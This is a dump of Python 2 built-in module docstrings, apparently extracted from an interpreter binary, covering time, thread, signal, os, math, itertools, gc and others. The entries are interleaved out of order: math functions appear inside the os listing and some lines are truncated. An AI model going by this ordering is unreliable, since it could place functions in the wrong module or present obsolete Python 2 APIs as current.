The optional 'path' argument is ignored -- it's there for compatibility
with the importer protocol.
load_module(fullname) -> module.
Load the module specified by 'fullname'. 'fullname' must be the
fully qualified (dotted) module name. It returns the imported
module, or raises ZipImportError if it wasn't found.
get_data(pathname) -> string with file data.
Return the data associated with 'pathname'. Raise IOError if
the file wasn't found.
is_package(fullname) -> bool.
Return True if the module specified by fullname is a package.
Raise ZipImportError if the module couldn't be found.
get_code(fullname) -> code object.
Return the code object for the specified module. Raise ZipImportError
if the module couldn't be found.
get_source(fullname) -> source string.
Return the source code for the specified module. Raise ZipImportError
if the module couldn't be found, return None if the archive does
contain the module, but has no source for it.
get_filename(fullname) -> filename string.
Return the filename for the specified module.
zipimporter(archivepath) -> zipimporter object
Create a new zipimporter instance. 'archivepath' must be a path to
a zipfile, or to a specific path inside a zipfile. For example, it can be
'/tmp/myimport.zip', or '/tmp/myimport.zip/mydirectory', if mydirectory is a
valid directory inside the archive.
'ZipImportError is raised if 'archivepath' doesn't point to a valid Zip
archive.
The 'archive' attribute of zipimporter objects contains the name of the
zipfile targeted.
zipimport provides support for importing Python modules from Zip archives.
This module exports three objects:
- zipimporter: a class; its constructor takes a path to a Zip archive.
- ZipImportError: exception raised by zipimporter objects. It's a
  subclass of ImportError, so it can be caught as ImportError, too.
- _zip_directory_cache: a dict, mapping archive paths to zip directory
  info dicts, as used in zipimporter._files.
It is usually not needed to use the zipimport module explicitly; it is
used by the builtin import mechanism for sys.path items that are paths
to Zip archives.
xxsubtype is an example module showing how to subtype builtin types from C.
test_descr.py in the standard test suite requires it in order to complete.
If you don't care about the examples, and don't intend to run the Python
test suite, you can recompile Python without Modules/xxsubtype.c.
time() -> floating point number
Return the current time in seconds since the Epoch.
Fractions of a second may be present if the system clock provides them.
clock() -> floating point number
Return the CPU time or real time since the start of the process or since
the first call to clock().  This has as much precision as the system
records.
sleep(seconds)
Delay execution for a given number of seconds.  The argument may be
a floating point number for subsecond precision.
gmtime([seconds]) -> (tm_year, tm_mon, tm_mday, tm_hour, tm_min,
                       tm_sec, tm_wday, tm_yday, tm_isdst)
Convert seconds since the Epoch to a time tuple expressing UTC (a.k.a.
GMT).  When 'seconds' is not passed in, convert the current time instead.
localtime([seconds]) -> (tm_year,tm_mon,tm_mday,tm_hour,tm_min,
                          tm_sec,tm_wday,tm_yday,tm_isdst)
Convert seconds since the Epoch to a time tuple expressing local time.
When 'seconds' is not passed in, convert the current time instead.
strftime(format[, tuple]) -> string
Convert a time tuple to a string according to a format specification.
See the library reference manual for formatting codes. When the time tuple
is not present, current time as returned by localtime() is used.
strptime(string, format) -> struct_time
Parse a string to a time tuple according to a format specification.
See the library reference manual for formatting codes (same as strftime()).
asctime([tuple]) -> string
Convert a time tuple to a string, e.g. 'Sat Jun 06 16:26:11 1998'.
When the time tuple is not present, current time as returned by localtime()
is used.
isatty(): always returns 0
ctime(seconds) -> string
Convert a time in seconds since the Epoch to a string in local time.
This is equivalent to asctime(localtime(seconds)). When the time tuple is
not present, current time as returned by localtime() is used.
mktime(tuple) -> floating point number
Convert a time tuple in local time to seconds since the Epoch.
This module provides various functions to manipulate time values.
There are two standard representations of time.  One is the number
of seconds since the Epoch, in UTC (a.k.a. GMT).  It may be an integer
or a floating point number (to represent fractions of seconds).
The Epoch is system-defined; on Unix, it is generally January 1st, 1970.
The actual value can be retrieved by calling gmtime(0).
The other representation is a tuple of 9 integers giving local time.
The tuple items are:
  year (four digits, e.g. 1998)
  month (1-12)
  day (1-31)
  hours (0-23)
  minutes (0-59)
  seconds (0-59)
  weekday (0-6, Monday is 0)
  Julian day (day in the year, 1-366)
  DST (Daylight Savings Time) flag (-1, 0 or 1)
If the DST flag is 0, the time is given in the regular time zone;
if it is 1, the time is given in the DST time zone;
if it is -1, mktime() should guess based on the date and time.
Variables:
timezone -- difference in seconds between UTC and local standard time
altzone -- difference in  seconds between UTC and local DST time
daylight -- whether local time should reflect DST
tzname -- tuple of (standard time zone name, DST time zone name)
Functions:
time() -- return current time in seconds since the Epoch as a float
clock() -- return CPU time since process start as a float
sleep() -- delay for a number of seconds given as a float
gmtime() -- convert seconds since Epoch to UTC tuple
localtime() -- convert seconds since Epoch to local time tuple
asctime() -- convert time tuple to string
ctime() -- convert time in seconds to string
mktime() -- convert local time tuple to seconds since Epoch
strftime() -- convert time tuple to string according to format specification
strptime() -- parse string to time tuple according to format specification
tzset() -- change the local timezone
acquire([wait]) -> bool
(acquire_lock() is an obsolete synonym)
Lock the lock.  Without argument, this blocks if the lock is already
locked (even by the same thread), waiting for another thread to release
the lock, and return True once the lock is acquired.
With an argument, this will only block if the argument is true,
and the return value reflects whether the lock is acquired.
The blocking operation is not interruptible.
read([s]) -- Read s characters, or the rest of the string
release()
(release_lock() is an obsolete synonym)
Release the lock, allowing another thread that is blocked waiting for
the lock to acquire the lock.  The lock must be in the locked state,
but it needn't be locked by the same thread that unlocks it.
locked() -> bool
(locked_lock() is an obsolete synonym)
Return whether the lock is in the locked state.
readline() -- Read one line
reset() -- Reset the file position to the beginning
tell() -- get the current position.
start_new_thread(function, args[, kwargs])
(start_new() is an obsolete synonym)
Start a new thread and return its identifier.  The thread will call the
function with positional arguments from the tuple args and keyword arguments
taken from the optional dictionary kwargs.  The thread exits when the
function returns; the return value is ignored.  The thread will also exit
when the function raises an unhandled exception; a stack trace will be
printed unless the exception is SystemExit.
exit()
(exit_thread() is an obsolete synonym)
This is synonymous to ``raise SystemExit''.  It will cause the current
thread to exit silently unless the exception is caught.
interrupt_main()
Raise a KeyboardInterrupt in the main thread.
A subthread can use this function to interrupt the main thread.
allocate_lock() -> lock object
(allocate() is an obsolete synonym)
Create a new lock object.  See help(LockType) for information about locks.
get_ident() -> integer
Return a non-zero integer that uniquely identifies the current thread
amongst other threads that exist simultaneously.
This may be used to identify per-thread resources.
Even though on some platforms threads identities may appear to be
allocated consecutive numbers starting at 1, this behavior should not
be relied upon, and the number should be seen purely as a magic cookie.
A thread's identity may be reused for another thread after it exits.
_count() -> integer
Return the number of currently running Python threads, excluding 
the main thread. The returned number comprises all threads created
through `start_new_thread()` as well as `threading.Thread`, and not
yet finished.
This function is meant for internal and specialized purposes only.
In most applications `threading.enumerate()` should be used instead.
stack_size([size]) -> size
Return the thread stack size used when creating new threads.  The
optional size argument specifies the stack size (in bytes) to be used
for subsequently created threads, and must be 0 (use platform or
configured default) or a positive integer value of at least 32,768 (32k).
If changing the thread stack size is unsupported, a ThreadError
exception is raised.  If the specified size is invalid, a ValueError
exception is raised, and the stack size is unmodified.  32k bytes
 currently the minimum supported stack size value to guarantee
sufficient stack space for the interpreter itself.
Note that some platforms may have particular restrictions on values for
the stack size, such as requiring a minimum stack size larger than 32kB or
requiring allocation in multiples of the system memory page size
- platform documentation should be referred to for more information
(4kB pages are common; using multiples of 4096 for the stack size is
the suggested approach in the absence of more specific information).
This module provides primitive operations to write multi-threaded programs.
The 'threading' module provides a more convenient interface.
A lock object is a synchronization primitive.  To create a lock,
call the PyThread_allocate_lock() function.  Methods are:
acquire() -- lock the lock, possibly blocking until it can be obtained
release() -- unlock of the lock
locked() -- test whether the lock is currently locked
A lock is not owned by the thread that locked it; another thread may
unlock it.  A thread attempting to lock a lock that it has already locked
will block until another thread unlocks it.  Deadlocks may ensue.
close(): explicitly release resources held.
Common string manipulations, optimized for speed.
Always use "import string" rather than referencing
this module directly.
Simple type for output to strings.
split(s [,sep [,maxsplit]]) -> list of strings
splitfields(s [,sep [,maxsplit]]) -> list of strings
Return a list of the words in the string s, using sep as the
delimiter string.  If maxsplit is nonzero, splits into at most
maxsplit words.  If sep is not specified, any whitespace string
is a separator.  Maxsplit defaults to 0.
(split and splitfields are synonymous)
join(list [,sep]) -> string
joinfields(list [,sep]) -> string
Return a string composed of the words in list, with
intervening occurrences of sep.  Sep defaults to a single
space.
(join and joinfields are synonymous)
find(s, sub [,start [,end]]) -> in
Return the lowest index in s where substring sub is found,
such that sub is contained within s[start,end].  Optional
arguments start and end are interpreted as in slice notation.
Return -1 on failure.
rfind(s, sub [,start [,end]]) -> int
Return the highest index in s where substring sub is found,
such that sub is contained within s[start,end].  Optional
arguments start and end are interpreted as in slice notation.
Return -1 on failure.
strip(s) -> string
Return a copy of the string s with leading and trailing
whitespace removed.
lstrip(s) -> string
Return a copy of the string s with leading whitespace removed.
rstrip(s) -> string
Return a copy of the string s with trailing whitespace removed.
lower(s) -> string
Return a copy of the string s converted to lowercase.
upper(s) -> string
Return a copy of the string s converted to uppercase.
capitalize(s) -> string
Return a copy of the string s with only its first character
capitalized.
expandtabs(string, [tabsize]) -> string
Expand tabs in a string, i.e. replace them by one or more spaces,
depending on the current column and the given tab size (default 8).
The column number is reset to zero after each newline occurring in the
string.  This doesn't understand other non-printing characters.
count(s, sub[, start[, end]]) -> int
Return the number of occurrences of substring sub in string
s[start:end].  Optional arguments start and end are
interpreted as in slice notation.
swapcase(s) -> string
Return a copy of the string s with upper case characters
converted to lowercase and vice versa.
atoi(s [,base]) -> int
Return the integer represented by the string s in the given
base, which defaults to 10.  The string s must consist of one
or more digits, possibly preceded by a sign.  If base is 0, it
is chosen from the leading characters of s, 0 for octal, 0x or
0X for hexadecimal.  If base is 16, a preceding 0x or 0X is
accepted.
atol(s [,base]) -> long
Return the long integer represented by the string s in the
given base, which defaults to 10.  The string s must consist
of one or more digits, possibly preceded by a sign.  If base
is 0, it is chosen from the leading characters of s, 0 for
octal, 0x or 0X for hexadecimal.  If base is 16, a preceding
0x or 0X is accepted.  A trailing L or l is not accepted,
unless base is 0.
atof(s) -> float
Return the floating point number represented by the string s.
maketrans(frm, to) -> string
Return a translation table (a string of 256 bytes long)
suitable for use in string.translate.  The strings frm and to
must be of the same length.
translate(s,table [,deletechars]) -> string
Return a copy of the string s, where all characters occurring
in the optional argument deletechars are removed, and the
remaining characters have been mapped through the given
translation table, which must be a string of length 256.
replace (str, old, new[, maxsplit]) -> string
Return a copy of string str with all occurrences of substring
old replaced by new. If the optional argument maxsplit is
given, only the first maxsplit occurrences are replaced.
default_int_handler(...)
The default handler for SIGINT installed by Python.
It raises KeyboardInterrupt.
signal(sig, action) -> action
Set the action for the given signal.  The action can be SIG_DFL,
SIG_IGN, or a callable Python object.  The previous action is
returned.  See getsignal() for possible return values.
*** IMPORTANT NOTICE ***
A signal handler function is called with two arguments:
the first is the signal number, the second is the interrupted stack frame.
getsignal(sig) -> action
Return the current action for the given signal.  The return value can be:
SIG_IGN -- if the signal is being ignored
SIG_DFL -- if the default action for the signal is in effect
None -- if an unknown handler is in effect
anything else -- the callable Python object used as a handler
set_wakeup_fd(fd) -> fd
Sets the fd to be written to (with '\0') when a signal
comes in.  A library can use this to wakeup select or poll.
The previous fd is returned.
The fd must be non-blocking.
This module provides mechanisms to use signal handlers in Python.
Functions:
alarm() -- cause SIGALRM after a specified time [Unix only]
setitimer() -- cause a signal (described below) after a specified
               float time and the timer may restart then [Unix only]
getitimer() -- get current value of timer [Unix only]
signal() -- set the action for a given signal
getsignal() -- get the signal action for a given signal
pause() -- wait until a signal arrives [Unix only]
default_int_handler() -- default SIGINT handler
signal constants:
SIG_DFL -- used to refer to the system default handler
SIG_IGN -- used to ignore the signal
NSIG -- number of defined signals
SIGINT, SIGTERM, etc. -- signal numbers
itimer constants:
ITIMER_REAL -- decrements in real time, and delivers SIGALRM upon
               expiration
ITIMER_VIRTUAL -- decrements only when the process is executing,
               and delivers SIGVTALRM upon expiration
ITIMER_PROF -- decrements both when the process is executing and
               when the system is executing on behalf of the process.
               Coupled with ITIMER_VIRTUAL, this timer is usually
               used to profile the time spent by the application
               in user and kernel space. SIGPROF is delivered upon
               expiration.
*** IMPORTANT NOTICE ***
A signal handler function is called with two arguments:
the first is the signal number, the second is the interrupted stack frame.
Return a copy of the hashing object.
Update this hashing object's state with the provided string.
Return a new SHA hashing object.  An optional string argument
may be provided; if present, this string will be automatically
hashed.
Objects that know how to pickle objects
Return a new SHA-512 hash object; optionally initialized with a string.
Return a new SHA-384 hash object; optionally initialized with a string.
Objects that know how to unpickle
Return a new SHA-256 hash object; optionally initialized with a string.
Return a new SHA-224 hash object; optionally initialized with a string.
This module provides access to operating system functionality that is
standardized by the C Standard and the POSIX standard (a thinly
disguised Unix interface).  Refer to the library manual and
corresponding Unix manual entries for more information on calls.
stat_result: Result from stat or lstat.
This object may be accessed either as a tuple of
  (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime)
or via the attributes st_mode, st_ino, st_dev, st_nlink, st_uid, and so on.
Posix/windows: If your platform supports st_blksize, st_blocks, st_rdev,
or st_flags, they are available as attributes only.
See os.stat for more information.
statvfs_result: Result from statvfs or fstatvfs.
This object may be accessed either as a tuple of
  (bsize, frsize, blocks, bfree, bavail, files, ffree, favail, flag, namemax),
or via the attributes f_bsize, f_frsize, f_blocks, f_bfree, and so on.
See os.statvfs for more information.
stat_float_times([newval]) -> oldval
Determine whether os.[lf]stat represents time stamps as float objects.
If newval is True, future calls to stat() return floats, if it is False,
future calls return ints. 
If newval is omitted, return the current setting.
asin(x)
Return the arc sine of x.
access(path, mode) -> True if granted, False otherwise
Use the real uid/gid to test for access to a path.  Note that most
operations will use the effective uid/gid, therefore this routine can
be used in a suid/sgid environment to test if the invoking user has the
specified access to the path.  The mode argument can be F_OK to test
existence, or the inclusive-OR of R_OK, W_OK, and X_OK.
chdir(path)
Change the current working directory to the specified path.
fsync(fildes)
force write of file with filedescriptor to disk.
getcwd() -> path
Return a string representing the current working directory.
getcwdu() -> path
Return a unicode string representing the current working directory.
listdir(path) -> list_of_strings
Return a list containing the names of the entries in the directory.
    path: path of directory to list
The list is in arbitrary order.  It does not include the special
entries '.' and '..' even if they are present in the directory.
mkdir(path [, mode=0777])
Create a directory.
rename(old, new)
Rename a file or directory.
stat(path) -> stat result
Perform a stat system call on the given path.
system(command) -> exit_status
Execute the command (a string) in a subshell.
umask(new_mask) -> old_mask
Set the current numeric umask and return the previous umask.
utime(path, (atime, mtime))
utime(path, None)
Set the access and modified time of the file to the given values.  If the
second form is used, set the access and modified times to the current time.
_exit(status)
Exit to the system with specified status, without normal exit processing.
execv(path, args)
Execute an executable path with arguments, replacing current process.
    path: path of executable file
    args: tuple or list of strings
execve(path, args, env)
Execute a path with arguments and environment, replacing current process.
    path: path of executable file
    args: tuple or list of arguments
    env: dictionary of strings mapping to strings
spawnv(mode, path, args)
Execute the program 'path' in a new process.
    mode: mode of process creation
    path: path of executable file
    args: tuple or list of strings
spawnve(mode, path, args, env)
Execute the program 'path' in a new process.
    mode: mode of process creation
    path: path of executable file
    args: tuple or list of arguments
    env: dictionary of strings mapping to strings
getpid() -> pid
Return the current process id
kill(pid, sig)
Kill a process with a signal.
Return true if the pathname refers to an existing directory.
popen(command [, mode='r' [, bufsize]]) -> pipe
Open a pipe to/from a command returning a file object.
waitpid(pid, options) -> (pid, status << 8)
Wait for completion of a given process.  options is ignored on Windows.
lstat(path) -> stat result
Like stat(path), but do not follow symbolic links.
times() -> (utime, stime, cutime, cstime, elapsed_time)
Return a tuple of floating point numbers indicating process times.
asinh(x)
Return the inverse hyperbolic sine of x.
open(filename, flag [, mode=0777]) -> fd
Open a file (for low level IO).
close(fd)
Close a file descriptor (for low level IO).
closerange(fd_low, fd_high)
Closes all file descriptors in [fd_low, fd_high), ignoring errors.
lseek(fd, pos, how) -> newpos
Set the current position of a file descriptor.
Return the new cursor position in bytes, starting from the beginning.
read(fd, buffersize) -> string
Read a file descriptor.
cosh(x)
Return the hyperbolic cosine of x.
write(fd, string) -> byteswritten
Write a string to a file descriptor.
fstat(fd) -> stat result
Like stat(), but for an open file descriptor.
fdopen(fd [, mode='r' [, bufsize]]) -> file_object
Return an open file object connected to a file descriptor.
isatty(fd) -> bool
Return True if the file descriptor 'fd' is an open file descriptor
connected to the slave end of a terminal.
pipe() -> (read_end, write_end)
Create a pipe.
exp(x)
Return the exponential value e**x.
strerror(code) -> string
Translate an error code to a message string.
tempnam([dir[, prefix]]) -> string
Return a unique name for a temporary file.
The directory and a prefix may be specified as strings; they may be omitted
or None if not needed.
tmpfile() -> file object
Create a temporary file with no directory entries.
tmpnam() -> string
Return a unique name for a temporary file.
abort() -> does not return!
Abort the interpreter immediately.  This 'dumps core' or otherwise fails
in the hardest way possible on the hosting operating system.
startfile(filepath [, operation]) - Start a file with its associated
application.
When "operation" is not specified or "open", this acts like
double-clicking the file in Explorer, or giving the file name as an
argument to the DOS "start" command: the file is opened with whatever
application (if any) its extension is associated.
When another "operation" is given, it specifies what should be done with
the file.  A typical operation is "print".
startfile returns as soon as the associated application is launched.
There is no option to wait for the application to close, and no way
to retrieve the application's exit status.
The filepath is relative to the current directory.  If you want to use
an absolute path, make sure the first character is not a slash ("/");
the underlying Win32 ShellExecute function doesn't work if it is.
sinh(x)
Return the hyperbolic sine of x.
urandom(n) -> str
Return n random bytes suitable for cryptographic use.
Copyright 1995-1996 by Virginia Polytechnic Institute & State
University, Blacksburg, Virginia, USA, and Fred L. Drake, Jr., Reston,
Virginia, USA.  Portions copyright 1991-1995 by Stichting Mathematisch
Centrum, Amsterdam, The Netherlands.
tan(x)
Return the tangent of x.
Operator interface.
This module exports a set of functions implemented in C corresponding
to the intrinsic operators of Python.  For example, operator.add(x, y)
is equivalent to the expression x+y.  The function names are those
used for special methods; variants without leading and trailing
'__' are also provided for convenience.
compare_digest(a, b) -> bool
Return 'a == b'.  This function uses an approach designed to prevent
timing analysis, making it appropriate for cryptography.
a and b must both be of the same type: either str (ASCII only),
or any type that supports the buffer protocol (e.g. bytes).
Note: If a and b are of different lengths, or if an error occurs,
a timing attack could theoretically reveal information about the
types and lengths of a and b--but not their values.
itemgetter(item, ...) --> itemgetter object
Return a callable object that fetches the given item(s) from its operand.
After f = itemgetter(2), the call f(r) returns r[2].
After g = itemgetter(2, 5, 3), the call g(r) returns (r[2], r[5], r[3])
(bin) -> ascii. Base64-code line of data
Binhex RLE-code binary data
attrgetter(attr, ...) --> attrgetter object
Return a callable object that fetches the given attribute(s) from its operand.
After f = attrgetter('name'), the call f(r) returns r.name.
After g = attrgetter('name', 'date'), the call g(r) returns (r.name, r.date).
After h = attrgetter('name.first', 'name.last'), the call h(r) returns
(r.name.first, r.name.last).
Encode .hqx data
methodcaller(name, ...) --> methodcaller object
Return a callable object that calls the given method on its operand.
After f = methodcaller('name'), the call f(r) returns r.name().
After g = methodcaller('name', 'date', foo=1), the call g(r) returns
r.name('date', foo=1).
(data, oldcrc = 0) -> newcrc. Compute CRC-32 incrementally
Windows: mmap(fileno, length[, tagname[, access[, offset]]])
Maps length bytes from the file specified by the file handle fileno,
and returns a mmap object.  If length is larger than the current size
of the file, the file is extended to contain length bytes.  If length
is 0, the maximum length of the map is the current size of the file,
except that if the file is empty Windows raises an exception (you cannot
create an empty mapping on Windows).
Unix: mmap(fileno, length[, flags[, prot[, access[, offset]]]])
Maps length bytes from the file specified by the file descriptor fileno,
and returns a mmap object.  If length is 0, the maximum length of the map
will be the current size of the file when mmap is called.
flags specifies the nature of the mapping. MAP_PRIVATE creates a
private copy-on-write mapping, so changes to the contents of the mmap
object will be private to this process, and MAP_SHARED creates a mapping
that's shared with all other processes mapping the same areas of the file.
The default value is MAP_SHARED.
To map anonymous memory, pass -1 as the fileno (both versions).
Decode a string of qp-encoded data
update (arg)
Update the md5 object with the string arg. Repeated calls are
equivalent to a single call with the concatenation of all the
arguments.
digest() -> string
Return the digest of the strings passed to the update() method so
far. This is a 16-byte string which may contain non-ASCII characters,
including null bytes.
hexdigest() -> string
Like digest(), but returns the digest as a string of hexadecimal digits.
copy() -> md5 object
Return a copy (``clone'') of the md5 object.
This module implements the interface to RSA's MD5 message digest
algorithm (see also Internet RFC 1321). Its use is quite
straightforward: use the new() to create an md5 object. You can now
feed this object with arbitrary strings using the update() method, and
at any point you can ask it for the digest (a strong kind of 128-bit
checksum, a.k.a. ``fingerprint'') of the concatenation of the strings
fed to it so far using the digest() method.
Functions:
new([arg]) -- return a new md5 object, initialized with arg if provided
md5([arg]) -- DEPRECATED, same as new, but for compatibility
Special Objects:
MD5Type -- type object for md5 objects
An md5 represents the object used to calculate the MD5 checksum of a
string of information.
Methods:
update() -- updates the current digest with an additional string
digest() -- return the current digest value
hexdigest() -- return the current digest as a string of hexadecimal digits
copy() -- return a copy of the current md5 object
new([arg]) -> md5 object
Return a new md5 object. If arg is present, the method call update(arg)
is made.
acosh(x)
Return the inverse hyperbolic cosine of x.
atan2(y, x)
Return the arc tangent (measured in radians) of y/x.
Unlike atan(y/x), the signs of both x and y are considered.
atanh(x)
Return the inverse hyperbolic tangent of x.
ceil(x)
Return the ceiling of x as a float.
This is the smallest integral value >= x.
copysign(x, y)
Return x with the sign of y.
cos(x)
Return the cosine of x (measured in radians).
erf(x)
Error function at x.
expm1(x)
Return exp(x)-1.
This function avoids the loss of precision involved in the direct evaluation of exp(x)-1 for small x.
floor(x)
Return the floor of x as a float.
This is the largest integral value <= x.
gamma(x)
Gamma function at x.
lgamma(x)
Natural logarithm of absolute value of Gamma function at x.
log1p(x)
Return the natural logarithm of 1+x (base e).
The result is computed in a way which is accurate for x near zero.
sqrt(x)
Return the square root of x.
tan(x)
Return the tangent of x (measured in radians).
tanh(x)
Return the hyperbolic tangent of x.
fsum(iterable)
Return an accurate floating point sum of values in the iterable.
Assumes IEEE-754 floating point arithmetic.
factorial(x) -> Integral
Find x!. Raise a ValueError if x is negative or non-integral.
trunc(x:Real) -> Integral
Truncates x to the nearest Integral toward 0. Uses the __trunc__ magic method.
frexp(x)
Return the mantissa and exponent of x, as pair (m, e).
m is a float and e is an int, such that x = m * 2.**e.
If x is 0, m and e are both 0.  Else 0.5 <= abs(m) < 1.0.
ldexp(x, i)
Return x * (2**i).
Conversion between binary data and ASCII
modf(x)
Return the fractional and integer parts of x.  Both results carry the sign
of x and are floats.
log(x[, base])
Return the logarithm of x to the given base.
If the base not specified, returns the natural logarithm (base e) of x.
log10(x)
Return the base 10 logarithm of x.
fmod(x, y)
Return fmod(x, y), according to platform C.  x % y may differ.
hypot(x, y)
Return the Euclidean distance, sqrt(x*x + y*y).
pow(x, y)
Return x**y (x to the power of y).
degrees(x)
Convert angle x from radians to degrees.
radians(x)
Convert angle x from degrees to radians.
isinf(x) -> bool
Check if float x is infinite (positive or negative).
This module is always available.  It provides access to the
mathematical functions defined by the C standard.
groupby(iterable[, keyfunc]) -> create an iterator which returns
(key, sub-iterator) grouped by each value of key(value).
copy(array)
 Return a copy of the array.
Data container common to multiple tee objects.
Iterator wrapped to make it copyable
count(x)
Return number of occurrences of x in the array.
remove(x)
Remove the first occurrence of x in the array.
cycle(iterable) --> cycle object
Return elements from the iterable until it is exhausted.
Then repeat the sequence indefinitely.
fromlist(list)
Append items to array from list.
dropwhile(predicate, iterable) --> dropwhile object
Drop items from the iterable while predicate(item) is true.
Afterwards, return every element until the iterable is exhausted.
__sizeof__() -> int
Size of the array in memory, in bytes.
takewhile(predicate, iterable) --> takewhile object
Return successive entries from an iterable as long as the 
predicate evaluates to true for each entry.
islice(iterable, [start,] stop [, step]) --> islice object
Return an iterator whose next() method returns selected values from an
iterable.  If start is specified, will skip all preceding elements;
otherwise, start defaults to zero.  Step defaults to one.  If
specified as another value, step determines how many values are 
skipped between successive calls.  Works like a slice() on a list
but returns an iterator.
starmap(function, sequence) --> starmap object
Return an iterator whose values are returned from the function evaluated
with an argument tuple taken from the given sequence.
imap(func, *iterables) --> imap object
Make an iterator that computes the function using arguments from
each of the iterables.  Like map() except that it returns
an iterator instead of a list and that it stops when the shortest
iterable is exhausted instead of filling in None for shorter
iterables.
chain(*iterables) --> chain object
Return a chain object whose .next() method returns elements from the
first iterable until it is exhausted, then elements from the next
iterable, until all of the iterables are exhausted.
chain.from_iterable(iterable) --> chain object
Alternate chain() contructor taking a single iterable argument
that evaluates lazily.
product(*iterables) --> product object
Cartesian product of input iterables.  Equivalent to nested for-loops.
For example, product(A, B) returns the same as:  ((x,y) for x in A for y in B).
The leftmost iterators are in the outermost for-loop, so the output tuples
cycle in a manner similar to an odometer (with the rightmost element changing
on every iteration).
To compute the product of an iterable with itself, specify the number
of repetitions with the optional repeat keyword argument. For example,
product(A, repeat=4) means the same as product(A, A, A, A).
product('ab', range(3)) --> ('a',0) ('a',1) ('a',2) ('b',0) ('b',1) ('b',2)
product((0,1), (0,1), (0,1)) --> (0,0,0) (0,0,1) (0,1,0) (0,1,1) (1,0,0) ...
combinations(iterable, r) --> combinations object
Return successive r-length combinations of elements in the iterable.
combinations(range(4), 3) --> (0,1,2), (0,1,3), (0,2,3), (1,2,3)
Clear the internal cache.
combinations_with_replacement(iterable, r) --> combinations_with_replacement object
Return successive r-length combinations of elements in the iterable
allowing individual elements to have successive repeats.
combinations_with_replacement('ABC', 2) --> AA AB AC BB BC CC
permutations(iterable[, r]) --> permutations object
Return successive r-length permutations of elements in the iterable.
permutations(range(3), 2) --> (0,1), (0,2), (1,0), (1,2), (2,0), (2,1)
compress(data, selectors) --> iterator over selected data
Return data elements corresponding to true selector elements.
Forms a shorter iterator from selected data elements using the
selectors to choose the data elements.
ifilter(function or None, sequence) --> ifilter object
Return those items of sequence for which function(item) is true.
If function is None, return the items that are true.
Compiled regular expression objects
ifilterfalse(function or None, sequence) --> ifilterfalse object
Return those items of sequence for which function(item) is false.
If function is None, return the items that are false.
Return state information for pickling.
count(start=0, step=1) --> count object
Return a count object whose .next() method returns consecutive values.
Equivalent to:
    def count(firstval=0, step=1):
        x = firstval
        while 1:
            yield x
            x += step
disable()
Stop collecting profiling information.
clear()
Clear all profiling information collected so far.
izip(iter1 [,iter2 [...]]) --> izip object
Return a izip object whose .next() method returns a tuple where
the i-th element comes from the i-th iterable argument.  The .next()
method continues until the shortest iterable in the argument sequence
is exhausted and then it raises StopIteration.  Works like the zip()
function but consumes less memory by returning an iterator instead of
a list.
Private method returning an estimate of len(list(it)).
repeat(object [,times]) -> create an iterator which returns the object
for the specified number of times.  If not specified, returns the object
endlessly.
Support for POSIX locales.
izip_longest(iter1 [,iter2 [...]], [fillvalue=None]) --> izip_longest object
Return an izip_longest object whose .next() method returns a tuple where
the i-th element comes from the i-th iterable argument.  The .next()
method continues until the longest iterable in the argument sequence
is exhausted and then it raises StopIteration.  When the shorter iterables
are exhausted, the fillvalue is substituted in their place.  The fillvalue
defaults to None or can be specified by a keyword argument.
JSON scanner object
Functional tools for creating and using iterators.
Infinite iterators:
count([n]) --> n, n+1, n+2, ...
cycle(p) --> p0, p1, ... plast, p0, p1, ...
repeat(elem [,n]) --> elem, elem, elem, ... endlessly or up to n times
Iterators terminating on the shortest input sequence:
chain(p, q, ...) --> p0, p1, ... plast, q0, q1, ... 
compress(data, selectors) --> (d[0] if s[0]), (d[1] if s[1]), ...
dropwhile(pred, seq) --> seq[n], seq[n+1], starting when pred fails
groupby(iterable[, keyfunc]) --> sub-iterators grouped by value of keyfunc(v)
ifilter(pred, seq) --> elements of seq where pred(elem) is True
ifilterfalse(pred, seq) --> elements of seq where pred(elem) is False
islice(seq, [start,] stop [, step]) --> elements from
       seq[start:stop:step]
imap(fun, p, q, ...) --> fun(p0, q0), fun(p1, q1), ...
starmap(fun, seq) --> fun(*seq[0]), fun(*seq[1]), ...
tee(it, n=2) --> (it1, it2 , ... itn) splits one iterator into n
takewhile(pred, seq) --> seq[0], seq[1], until pred fails
izip(p, q, ...) --> (p[0], q[0]), (p[1], q[1]), ... 
izip_longest(p, q, ...) --> (p[0], q[0]), (p[1], q[1]), ... 
Combinatoric generators:
product(p, q, ... [repeat=1]) --> cartesian product
permutations(p[, r])
combinations(p, r)
combinations_with_replacement(p, r)
enable() -> None
Enable automatic garbage collection.
isenabled() -> status
Returns true if automatic garbage collection is enabled.
collect([generation]) -> n
With no arguments, run a full collection.  The optional argument
may be an integer specifying which generation to collect.  A ValueError
is raised if the generation number is invalid.
The number of unreachable objects is returned.
set_debug(flags) -> None
Set the garbage collection debugging flags. Debugging information is
written to sys.stderr.
flags is an integer and can have the following bits turned on:
  DEBUG_STATS - Print statistics during collection.
  DEBUG_COLLECTABLE - Print collectable objects found.
  DEBUG_UNCOLLECTABLE - Print unreachable but uncollectable objects found.
  DEBUG_INSTANCES - Print instance objects.
  DEBUG_OBJECTS - Print objects other than instances.
  DEBUG_SAVEALL - Save objects to gc.garbage rather than freeing them.
  DEBUG_LEAK - Debug leaking programs (everything but STATS).
get_debug() -> flags
Get the garbage collection debugging flags.
set_threshold(threshold0, [threshold1, threshold2]) -> None
Sets the collection thresholds.  Setting threshold0 to zero disables
collection.
get_threshold() -> (threshold0, threshold1, threshold2)
Return the current collection thresholds
get_count() -> (count0, count1, count2)
Return the current collection counts
get_referrers(*objs) -> list
Return the list of objects that directly refer to any of objs.
get_referents(*objs) -> list
Return the list of objects that are directly referred to by objs.
get_objects() -> [...]
Return a list of objects tracked by the collector (excluding the list
returned).
is_tracked(obj) -> bool
Returns true if the object is tracked by the garbage collector.
Simple atomic objects will return false.
This module provides access to the garbage collector for reference cycles.
enable() -- Enable automatic garbage collection.
disable() -- Disable automatic garbage collection.
isenabled() -- Returns true if automatic collection is enabled.
collect() -- Do a full collection right now.
get_count() -- Return the current collection counts.
set_debug() -- Set debugging flags.
get_debug() -- Get debugging flags.
set_threshold() -- Set the collection thresholds.
get_threshold() -- Return the current the collection thresholds.
get_objects() -- Return a list of all objects tracked by the collector.
is_tracked() -- Returns true if a given object is tracked.
get_referrers() -- Return the list of objects that refer to an object.
get_referents() -- Return the list of objects that an object refers to.
This module provides functions that will be builtins in Python 3.0,
but that conflict with builtins that already exist in Python 2.x.
Functions:
ascii(arg) -- Returns the canonical string representation of an object.
filter(pred, iterable) -- Returns an iterator yielding those items of 
       iterable for which pred(item) is true.
